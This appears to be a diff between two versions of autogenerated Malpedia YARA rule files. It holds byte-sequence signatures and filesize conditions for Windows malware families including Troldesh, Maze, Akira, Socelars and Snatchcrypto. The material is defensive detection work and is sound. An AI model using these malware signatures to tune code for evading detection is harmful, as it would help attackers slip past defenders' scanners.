+rule MALPEDIA_Win_Troldesh_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1abc90df-5501-5268-be5d-9ffd5264cf78"
+		id = "7a3f582f-20a8-506d-8165-0b2ca7b385f0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stresspaint_auto.yar#L1-L151"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.troldesh_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "34d2cc78b8a1b3b96faf71dac1e0e5a144bca4946a3f4a475da9ab8b6bdc6c9b"
+		logic_hash = "0484cce0fd00b2a95d24b675e3e6f5f144cbe86411aeac4268060b95d7df46bc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170499,38 +177601,32 @@ rule MALPEDIA_Win_Stresspaint_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0103 014510 294514 83665800 }
-		$sequence_1 = { 8d540208 8908 8d4a04 8a5202 51 }
-		$sequence_2 = { 8d540203 3bea 7e4d 8b6c241c }
-		$sequence_3 = { 0106 83560400 837d1c00 7494 }
-		$sequence_4 = { 0103 ebaa 8b442408 56 }
-		$sequence_5 = { 0103 014510 294674 8b4674 }
-		$sequence_6 = { 0107 115f04 3bcb 7508 }
-		$sequence_7 = { 0108 8b8e44010000 114804 8b4f18 }
-		$sequence_8 = { 0107 83570400 85c9 7508 }
-		$sequence_9 = { 010b 8945fc 8bc2 83530400 }
-		$sequence_10 = { 8d5318 c7432400200000 66897312 c6431100 890a }
-		$sequence_11 = { 8d540201 52 51 6a39 55 }
-		$sequence_12 = { 8d540101 8bc5 89542430 8b542450 }
-		$sequence_13 = { 8d5338 3b02 740a 41 83c250 3bcf }
-		$sequence_14 = { 8d540201 8915???????? 33c0 8bd6 }
-		$sequence_15 = { 8d540208 8b4500 c70100000000 8b4c2430 }
+		$sequence_0 = { ff74241c 8d44247c ff74241c 50 e8???????? 8b8e18050000 83c40c }
+		$sequence_1 = { e8???????? 8b4510 8b4008 68ffffff7f 6a00 6a0a ff30 }
+		$sequence_2 = { eb17 51 50 8d45d8 50 e8???????? 8b4514 }
+		$sequence_3 = { ff7314 e8???????? 59 8b4df4 89431c 85c0 7511 }
+		$sequence_4 = { e9???????? 8b4ddc e8???????? 33c0 83c604 8975f8 8b7508 }
+		$sequence_5 = { e8???????? a3???????? e8???????? 8bf0 8974242c e8???????? 6a00 }
+		$sequence_6 = { ff7720 89742414 56 e8???????? 59 59 85c0 }
+		$sequence_7 = { ff7508 8bcf 56 ffb754010000 6a04 e8???????? 83c410 }
+		$sequence_8 = { e8???????? 85c0 7419 6a14 8d500c 8d4de0 e8???????? }
+		$sequence_9 = { e8???????? 8b4514 660fbe00 0fb7c0 50 6a01 e8???????? }
 
 	condition:
-		7 of them and filesize <1155072
+		7 of them and filesize <3915776
 }
-rule MALPEDIA_Win_Geminiduke_Auto : FILE
+rule MALPEDIA_Win_Miragefox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7571eb47-e456-5ff2-b8bf-b1898ddd8358"
+		id = "7d7cd6d5-44d9-5ffc-a5c9-9ff4ba40c5bc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.geminiduke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.geminiduke_auto.yar#L1-L156"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miragefox_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "e55c638d52ba8f741e7b2025242401b1531659829b54a8df50edaef39f23c4d8"
+		logic_hash = "f8d9e523d9895537a03eee9c6c67877c75001719916af13d5bd2cc1c1b329b5b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170544,37 +177640,32 @@ rule MALPEDIA_Win_Geminiduke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 57 8b7c2410 8b442414 }
-		$sequence_1 = { 8b7c2410 8b442414 8b4c2418 f3aa }
-		$sequence_2 = { 6a00 68???????? e8???????? 83c404 50 6801000080 ff15???????? }
-		$sequence_3 = { 8b4c2418 f3aa 5f 59 }
-		$sequence_4 = { 03459c 03c8 894ddc 8b45fc }
-		$sequence_5 = { 034590 8b8d70ffffff c1e907 8b9570ffffff }
-		$sequence_6 = { 034584 8b8d64ffffff c1e907 8b9564ffffff c1e219 0bca }
-		$sequence_7 = { 034590 03c8 894dd0 8b45f8 }
-		$sequence_8 = { f7f3 66894706 8bc2 c1e010 668b4604 33d2 f7f3 }
-		$sequence_9 = { 0fb6f8 57 6a20 56 e8???????? 83c40c }
-		$sequence_10 = { 337704 33e8 8b442410 c1ee12 83e601 33ee }
-		$sequence_11 = { 33d2 f7f3 66894704 8bc2 }
-		$sequence_12 = { e8???????? d1ee 33f3 c1ee03 337704 33e8 }
-		$sequence_13 = { 0430 8ad1 80ea0a 80fa05 7705 }
-		$sequence_14 = { 8a442404 8ac8 80e961 80f919 7703 b001 }
+		$sequence_0 = { 53 50 c6450805 e8???????? be1c810000 8d4508 56 }
+		$sequence_1 = { 7509 0fb68340f62a00 eb02 8bc3 5b c9 c3 }
+		$sequence_2 = { 8985f07fffff 6a00 0f94c0 83c023 8885ec7fffff 8d85e0f7feff }
+		$sequence_3 = { 7417 8bf9 c1ff05 83e11f 8b3cbd20f52a00 }
+		$sequence_4 = { 57 e8???????? 8d4604 6a19 }
+		$sequence_5 = { 6a00 50 e8???????? 8b4510 83c40c 8985147cffff }
+		$sequence_6 = { 6802800000 8d8520010000 53 50 e8???????? 8b4510 83c418 }
+		$sequence_7 = { 6800400000 50 ff75fc ff15???????? 8b8514010000 2b75f4 }
+		$sequence_8 = { b820080100 e8???????? 53 56 ff7518 6a00 6a01 }
+		$sequence_9 = { e8???????? 834dfcff 8d4dec e8???????? e9???????? bf18800000 }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Penco_Auto : FILE
+rule MALPEDIA_Win_Socelars_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0506b7c6-0597-5673-b29d-0e2e4b0bbb8c"
+		id = "b06c7ac2-d920-55f6-9edd-c06a57d2d404"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.penco"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.penco_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.socelars_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "b907c123e9f48e051972fa4ccfde76e3114fafc16984b4ff739806928ca43da4"
+		logic_hash = "29f15e383674389295d6d5d873e2a8fae68e30508b53f5e863e0aef43fe3264f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170588,32 +177679,32 @@ rule MALPEDIA_Win_Penco_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 6a01 6800000080 8d9500010000 52 8b1d???????? }
-		$sequence_1 = { 3334bd00d83400 0fb67c2414 3334bd00d43400 8b4c241c 33700c 83c010 8bde }
-		$sequence_2 = { 40 89442418 3b442414 0f82fffeffff eb13 8d042e 68???????? }
-		$sequence_3 = { 741c 68???????? 68ff010f00 56 ff15???????? 56 85c0 }
-		$sequence_4 = { 0fbe80e8983400 83e00f 33f6 eb04 33f6 33c0 }
-		$sequence_5 = { 8d4598 50 6a00 6a00 8d4db8 51 8b55a4 }
-		$sequence_6 = { 33c0 84c9 7428 8d642400 80f930 7c1c 80f939 }
-		$sequence_7 = { 894c2418 8b4c2444 f7f1 33d2 c744242001000000 03442410 89442414 }
-		$sequence_8 = { 7504 8bf0 eb3e 6a0a }
-		$sequence_9 = { 8b349528e83400 8b542428 0fb6f9 3334bd00d83400 8b4c241c c1ea18 33349528ec3400 }
+		$sequence_0 = { f6462808 894618 7515 8b4c243c ba14000000 e8???????? 89842430010000 }
+		$sequence_1 = { 8b4dfc 83b9cc03000020 7409 c745c00c000000 eb07 c745c00e000000 8b55fc }
+		$sequence_2 = { ff460c 807e0a00 750a 8bce e8???????? 8a4e09 8b430c }
+		$sequence_3 = { ff730c ff7308 e8???????? 8bf8 83c410 85ff 0f8480000000 }
+		$sequence_4 = { 8b542410 8b5248 f6421c20 0f8437050000 8b4214 ff4878 8b8888000000 }
+		$sequence_5 = { e9???????? 8b4c243c 33c0 89842430010000 ba43000000 8b472c 40 }
+		$sequence_6 = { f7da 56 1bd2 83c235 eb55 6a00 ff77c4 }
+		$sequence_7 = { e8???????? 83c40c eb36 8d4201 898188000000 8d0c92 8b442438 }
+		$sequence_8 = { fe4613 8a4619 fec8 0fb6c8 884619 3bf9 7d24 }
+		$sequence_9 = { ff742424 e8???????? 83c40c eb32 8b54241c 8d4101 898688000000 }
 
 	condition:
-		7 of them and filesize <319488
+		7 of them and filesize <2151424
 }
-rule MALPEDIA_Win_Taleret_Auto : FILE
+rule MALPEDIA_Win_Banatrix_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "90652d3d-3308-5c4e-91b0-de6f7ec4ea56"
+		id = "dddc42c8-ebb5-5b25-8e19-698be8f181ff"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.taleret_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.banatrix_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "0af9ed1f3725609b54a6e19f400c5abe16095e727614fae56d9f4e23ded04fd2"
+		logic_hash = "ad75928262b7ab312e9d49af768e2651c88b8c026115565bb62125e134a2e0bd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170627,32 +177718,32 @@ rule MALPEDIA_Win_Taleret_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c68424b40300000d e8???????? 50 8d4b18 }
-		$sequence_1 = { 8b44240c 8b4c2408 8b542404 6a00 6a00 6a03 68???????? }
-		$sequence_2 = { 51 50 68???????? 890d???????? }
-		$sequence_3 = { 8d442408 c744242401000000 50 ff15???????? 85c0 7528 8b4c2438 }
-		$sequence_4 = { 8d4e3c c644241c05 e8???????? 8d4e40 c644241c06 e8???????? }
-		$sequence_5 = { c60600 e8???????? 83c40c 85c0 7526 57 8d8c24e8000000 }
-		$sequence_6 = { 85c0 0f85b2000000 a1???????? 668b0d???????? 8a15???????? 89842480000000 }
-		$sequence_7 = { c684247016000001 e8???????? 8b9c247c160000 8b6c241c e9???????? 8b442424 8b4c2414 }
-		$sequence_8 = { 8a440444 eb02 b03d 83fd01 884301 7e33 }
-		$sequence_9 = { e8???????? 83c408 33f6 e8???????? 8a96f0700010 32d0 }
+		$sequence_0 = { 83ec10 894208 89f7 31c0 f3aa }
+		$sequence_1 = { e8???????? 8b4304 85c0 741b c744240800800000 c744240400000000 }
+		$sequence_2 = { c744240806000000 893c24 c1e804 40 0fb7c0 }
+		$sequence_3 = { 8b5320 0345d0 89542404 890424 }
+		$sequence_4 = { e9???????? e8???????? c744240824000000 c744240400000000 }
+		$sequence_5 = { 51 c9 c3 55 89e5 57 }
+		$sequence_6 = { 83ec10 85c0 8945d4 7542 8b45d0 c744240c04000000 c744240800300000 }
+		$sequence_7 = { 8b75d0 8b7dd4 2b7e34 897dcc 7514 8b7304 }
+		$sequence_8 = { 83787c00 7511 c704247f000000 e8???????? 31c0 51 eb66 }
+		$sequence_9 = { 85c0 56 56 7416 8b03 c745d000000000 }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Akira_Auto : FILE
+rule MALPEDIA_Win_Vsingle_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5047b686-dc46-5a3e-aa74-fc92a34b0f3e"
+		id = "39c4d7b9-45d8-55fa-afdc-e3bdbe3bcacd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.akira"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.akira_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vsingle_auto.yar#L1-L182"
 		license_url = "N/A"
-		logic_hash = "c1ae7dbc4a382b6e7a49f30242c48e32f0bd119ae1ed5e26b8c812d114457836"
+		logic_hash = "83d89a8e2f1a1d70a66e028468bac58cc5e5d328eca56cc57ee9f6d9e54be732"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170666,34 +177757,40 @@ rule MALPEDIA_Win_Akira_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b01 85c0 7e18 ffc8 8901 498b4840 488b11 }
-		$sequence_1 = { 418bc9 83c902 41f6c108 410f44c9 81e13bffffff 390d???????? 741d }
-		$sequence_2 = { 90 488b4b60 48894c2430 4885c9 7445 488b5370 4889542440 }
-		$sequence_3 = { 7cee 488bcb 488b5c2430 4883c420 5f e9???????? 0fb6043b }
-		$sequence_4 = { ff5208 90 488b4b60 48894c2430 4885c9 7445 488b5370 }
-		$sequence_5 = { e8???????? 488975d0 488b4dd8 488975d8 48894808 0f1045e0 0f114010 }
-		$sequence_6 = { 4488443c6e 48ffc7 4883ff0a 72ac 0f57c0 0f118590020000 0f57c9 }
-		$sequence_7 = { 740a e8???????? 488bd8 eb03 498bdd 49897e18 }
-		$sequence_8 = { e8???????? 33f6 41897578 49397568 744d 488b0f 40387128 }
-		$sequence_9 = { c645bf01 4883ef01 75b4 0f2845bf 33ff 4c8d75cf 48837de710 }
+		$sequence_0 = { 83c408 8945ec 8b4dec 8b550c 8d440a01 89450c 8b4d0c }
+		$sequence_1 = { 8955b8 eb14 8b45c0 83c004 8945c0 8b4dbc 83c102 }
+		$sequence_2 = { 83c408 8985f0feffff 83bdf0feffff00 7507 33c0 e9???????? 8b95f0feffff }
+		$sequence_3 = { 52 680c030000 8b4508 50 }
+		$sequence_4 = { 83c408 8985f4eeffff 8b95f4eeffff 8995f0eeffff c745fc00000000 8b85f0eeffff }
+		$sequence_5 = { 8955b8 8b45d0 83c001 8945d0 837db803 7d0c 6a3d }
+		$sequence_6 = { 83c408 898500efffff 83bd00efffffff 7529 8b9504efffff 52 8d8524f7ffff }
+		$sequence_7 = { 33c0 8945e9 8945ed 8945f1 8945f5 8845f9 }
+		$sequence_8 = { 50 b807752b15 81f0467f1fbf 81f08c7668e6 81e8d57c5c4c 8b0c28 }
+		$sequence_9 = { 82e8ef e9???????? 52 53 bb4c969f2a 81f3b4d3bba6 81c3c02d0a2f }
+		$sequence_10 = { 81c7745e2200 81c736b60a42 81c7b551a68d 81f7e7564bc6 897c2404 }
+		$sequence_11 = { bbf93d64ba 81f345ba76fc 81f381c713f5 81f34d7b2ffd 81f346dc0990 81c33217d821 8b142b }
+		$sequence_12 = { 5b 57 50 b86a45ae9f 81c07b6673f5 81f081118d0d }
+		$sequence_13 = { bb86d72160 e9???????? 59 51 b9cf4a22af }
+		$sequence_14 = { 81eb96c3a483 668b0c18 5b 53 bbd7e0d126 81f3b7cf22ba 81c3282d094f }
+		$sequence_15 = { e9???????? bf756ddf55 81f7960c0426 eb36 81c7745e2200 81c736b60a42 }
 
 	condition:
-		7 of them and filesize <1286144
+		7 of them and filesize <940032
 }
-rule MALPEDIA_Win_Aresloader_Auto : FILE
+rule MALPEDIA_Win_Smanager_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aecf8195-bc3f-5d42-bd81-bfa1c242c64d"
+		id = "7788af6d-844d-509b-90a8-b8ca5df742b1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aresloader_auto.yar#L1-L109"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smanager_auto.yar#L1-L224"
 		license_url = "N/A"
-		logic_hash = "3fed3bf2cf5088e9a8f4396999f890e21fa81afee0e4b5adddfaf27ad4b3888c"
-		score = 60
-		quality = 25
+		logic_hash = "7070ed4ef9fc0031fffb8ae0d3a2a122913a3a51a0e1a419190de42eef9b5039"
+		score = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -170705,32 +177802,46 @@ rule MALPEDIA_Win_Aresloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85db 7435 85f6 7431 }
-		$sequence_1 = { c744241410000000 c744241000000000 c744240c00000000 c744240800000000 c744240400000000 }
-		$sequence_2 = { 8b6c243c 3d???????? 741d 896c243c }
-		$sequence_3 = { a1???????? 8b5c2430 8b742434 8b7c2438 8b6c243c 3d???????? }
-		$sequence_4 = { 8b7c2438 8b6c243c 85db 7435 }
-		$sequence_5 = { 7431 896c240c 897c2408 895c2404 893424 }
-		$sequence_6 = { 8b6c243c 85db 7435 85f6 }
-		$sequence_7 = { 8b7c2438 8b6c243c 3d???????? 741d 896c243c }
-		$sequence_8 = { 893424 e8???????? 85c0 7831 }
-		$sequence_9 = { 7431 896c240c 897c2408 895c2404 }
+		$sequence_0 = { 6a0d e8???????? 83c404 8bf0 }
+		$sequence_1 = { 51 ffd0 83c40c c7460800000000 }
+		$sequence_2 = { 7410 6a00 6a00 6830001100 }
+		$sequence_3 = { 8b7604 6a00 6a00 56 68???????? 6a00 6a00 }
+		$sequence_4 = { 8b4608 85c0 7420 a801 7515 }
+		$sequence_5 = { 8b4510 85c0 7407 50 ff15???????? }
+		$sequence_6 = { 68???????? 6a00 6a00 ff15???????? 8bf8 897e28 }
+		$sequence_7 = { 83c602 6a22 56 e8???????? 83c408 }
+		$sequence_8 = { ff15???????? 32c0 e9???????? 0f1005???????? }
+		$sequence_9 = { 0007 b15a 0007 b15a }
+		$sequence_10 = { 0000 80ed4a 0044feff ff900100008c }
+		$sequence_11 = { 4c8d9c24d0010000 498b5b28 498b7330 498b7b38 498be3 415f }
+		$sequence_12 = { 41c7430800000000 488d59b0 488d0532730100 498943e0 488d0537730100 }
+		$sequence_13 = { 0008 53 4f 00ef }
+		$sequence_14 = { 4885c0 7463 41b80f000000 488d159ab90100 488bc8 e8???????? }
+		$sequence_15 = { 44894de9 66448955f1 418bc8 8bc2 4c8d0de10b0100 c1e918 }
+		$sequence_16 = { 488bf8 448b842480000000 33d2 488bc8 e8???????? 4533f6 }
+		$sequence_17 = { 0007 b15a 00c4 b15a }
+		$sequence_18 = { 41b803000000 488d0d908e0000 4533c9 ba00000040 4489442420 ff15???????? }
+		$sequence_19 = { 0003 b157 0000 0c0c }
+		$sequence_20 = { 0007 b15a 0089b05a0089 b05a }
+		$sequence_21 = { 7404 b301 eb03 448937 }
+		$sequence_22 = { 0001 ce 50 0008 }
+		$sequence_23 = { 0000 0c0c 0c0c 0c0c 0c0c 0c0c 0102 }
 
 	condition:
-		7 of them and filesize <2657280
+		7 of them and filesize <10013696
 }
-rule MALPEDIA_Win_Absentloader_Auto : FILE
+rule MALPEDIA_Win_Squirrelwaffle_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9aab04f2-7678-5cf8-8d74-f6db3f7fcf22"
+		id = "67d18a0f-cebe-56e6-8b79-40dff03f1fb3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.absentloader_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.squirrelwaffle_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "77496690e6eb66a44354cd3e27ded72ee59f2468546d53e2a80ae68b108dd0bf"
+		logic_hash = "2fb7fd7c7f2885b81fdacc79e3b0b0578babd5d7d5854f31f47508825bacd6eb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170744,32 +177855,32 @@ rule MALPEDIA_Win_Absentloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { fe81b89406fd 89148d909406fd 8d4dfc e8???????? 5e c9 c3 }
-		$sequence_1 = { eb16 66c704375c6e eb0e 66c704375c74 eb06 66c704375c62 83c602 }
-		$sequence_2 = { e8???????? c645fc12 8bcb 0f2805???????? 0f1145b4 6a7f }
-		$sequence_3 = { 740f 33c0 80b034a606fd2e 40 83f814 72f3 8b0d???????? }
-		$sequence_4 = { 8bec 56 ff7508 8bf1 e8???????? c706841e05fd }
-		$sequence_5 = { 7408 3a8ac05d05fd 755a 8b06 8a08 40 42 }
-		$sequence_6 = { 7e37 68f8aa06fd e8???????? 833d????????ff 59 7523 bffcaa06fd }
-		$sequence_7 = { 7417 6827130000 6830f405fd 68341606fd e8???????? 83c40c 837f2c00 }
-		$sequence_8 = { c9 c3 6a08 b8a30305fd e8???????? 8bf1 8975ec }
-		$sequence_9 = { 84db 743b 8b4608 8378fc00 7432 83ec10 8d4668 }
+		$sequence_0 = { ffd6 85c0 0f85d9000000 8b458c }
+		$sequence_1 = { 0f431d???????? 8a00 85c9 7416 51 }
+		$sequence_2 = { 83c40c 8b36 ba???????? 85f6 0f853cffffff 8b7d88 }
+		$sequence_3 = { 85c0 0f8453020000 8b4a14 48 8945f0 8bc2 }
+		$sequence_4 = { 8b7310 2bc6 8975f8 57 3bc2 0f8214010000 8d0416 }
+		$sequence_5 = { b803000000 0f438d10fefeff ba???????? 83fe03 }
+		$sequence_6 = { 0f1185f8fdfeff f30f7e4710 660fd68508fefeff c7471000000000 c747140f000000 }
+		$sequence_7 = { 8db5f8fbffff 8d34c6 837e1410 8bc6 7202 }
+		$sequence_8 = { 897714 eb26 8b0d???????? 0f57c0 }
+		$sequence_9 = { c645cc00 8d4dd8 ff75cc 6a08 }
 
 	condition:
-		7 of them and filesize <794624
+		7 of them and filesize <147456
 }
-rule MALPEDIA_Win_Arefty_Auto : FILE
+rule MALPEDIA_Win_Sappycache_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "290417d3-5ee5-5229-8624-fd994b33b5b6"
+		id = "ad4dab53-cb13-5a84-86d5-edc74e26f321"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.arefty_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sappycache_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "f5f9e554cdcd0132916bd1281d9476767533aa9af2658a9193107a622555119f"
+		logic_hash = "f4483696db263dfbbabb83dfce8ccde9309b112a65cf425cc63ed3dc1fcead40"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170783,34 +177894,34 @@ rule MALPEDIA_Win_Arefty_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 e8???????? 83c404 83fbff 7407 53 }
-		$sequence_1 = { 50 53 ff15???????? 680000a000 e8???????? }
-		$sequence_2 = { 680000a000 57 53 ff15???????? 85c0 }
-		$sequence_3 = { 680000a000 57 53 ff15???????? }
-		$sequence_4 = { 57 e8???????? 83c404 83fbff 7407 53 ff15???????? }
-		$sequence_5 = { ff15???????? 680000a000 e8???????? 8bf8 }
-		$sequence_6 = { 0fb6041e 50 8b07 68???????? 6a03 8d04b0 }
-		$sequence_7 = { 8b07 68???????? 6a03 8d04b0 50 e8???????? 46 }
-		$sequence_8 = { 50 53 ff15???????? 680000a000 e8???????? 8bf8 83c404 }
-		$sequence_9 = { 50 53 ff15???????? 680000a000 }
+		$sequence_0 = { 448bcf 895c2428 33d2 33c9 4889442420 488bf0 ff15???????? }
+		$sequence_1 = { ff15???????? 85c0 7428 488bcd 488d1545f80000 }
+		$sequence_2 = { 488b8188000000 488d0d16fa0000 4883c018 7452 8bd7 0f1000 }
+		$sequence_3 = { ff15???????? 41b904000000 c7452060ea0000 4c8d4520 }
+		$sequence_4 = { 4c8d0dd6860000 c5f35cca c4c173590cc1 4c8d0da5760000 c5f359c1 }
+		$sequence_5 = { 49ffc0 47382c04 75f7 488d157c1f0100 }
+		$sequence_6 = { 4c89742430 448bcf 895c2428 33d2 33c9 4889442420 }
+		$sequence_7 = { f20f1000 8b7808 e9???????? 488d05eed70000 4a8b0ce8 42f644313880 744d }
+		$sequence_8 = { 4c8d0d136d0000 8bf9 488d15ba4d0000 b906000000 4c8d05f66c0000 e8???????? }
+		$sequence_9 = { 4180e003 80e30f 41c0e004 440ac0 }
 
 	condition:
-		7 of them and filesize <237568
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Maze_Auto : FILE
+rule MALPEDIA_Win_Snatchcrypto_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "107fc7f0-df43-5a49-b2af-87c958bef91f"
+		id = "8e680a41-0fdc-5ac7-bc9f-3f795f28f0bb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maze"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maze_auto.yar#L1-L201"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snatchcrypto_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "114687adcaa31dee32acfd0d8a276547892002fc6701cc69c1544ebdb3b57221"
+		logic_hash = "276b735298fc8584b98457d3cb267661e785fa3122c696ae64ba4741a5859a9d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -170822,41 +177933,32 @@ rule MALPEDIA_Win_Maze_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 57 56 83ec10 8b4510 8b4d0c }
-		$sequence_1 = { 8945f0 c745f000000000 8b45f0 83c410 5e 5f }
-		$sequence_2 = { 60 8b7d08 8b4d10 8b450c f3aa 61 8945f0 }
-		$sequence_3 = { 83ec10 8b4510 8b4d0c 8b5508 837d0800 8945ec }
-		$sequence_4 = { 8945ec 894de8 8955e4 7509 c745f000000000 eb17 60 }
-		$sequence_5 = { 89c8 0500000001 83d200 89d7 }
-		$sequence_6 = { 89c7 e8???????? 83c40c 57 55 8dbc24f4000000 }
-		$sequence_7 = { 89c8 01d6 ba53c6f0ff f7e2 }
-		$sequence_8 = { 41 41 41 41 41 41 41 }
-		$sequence_9 = { 83ec20 56 be???????? 56 6a00 6801001200 }
-		$sequence_10 = { 8d45ec 56 8945f8 6a00 8d45f4 50 c745f40c000000 }
-		$sequence_11 = { b904000000 6bd109 8b4d08 8b941100100000 c1ea0a }
-		$sequence_12 = { b948040000 b8cccccccc f3ab a1???????? 33c5 8945ec 50 }
-		$sequence_13 = { 898d6cfeffff 8b4dfc 8b5508 8b848a10080000 }
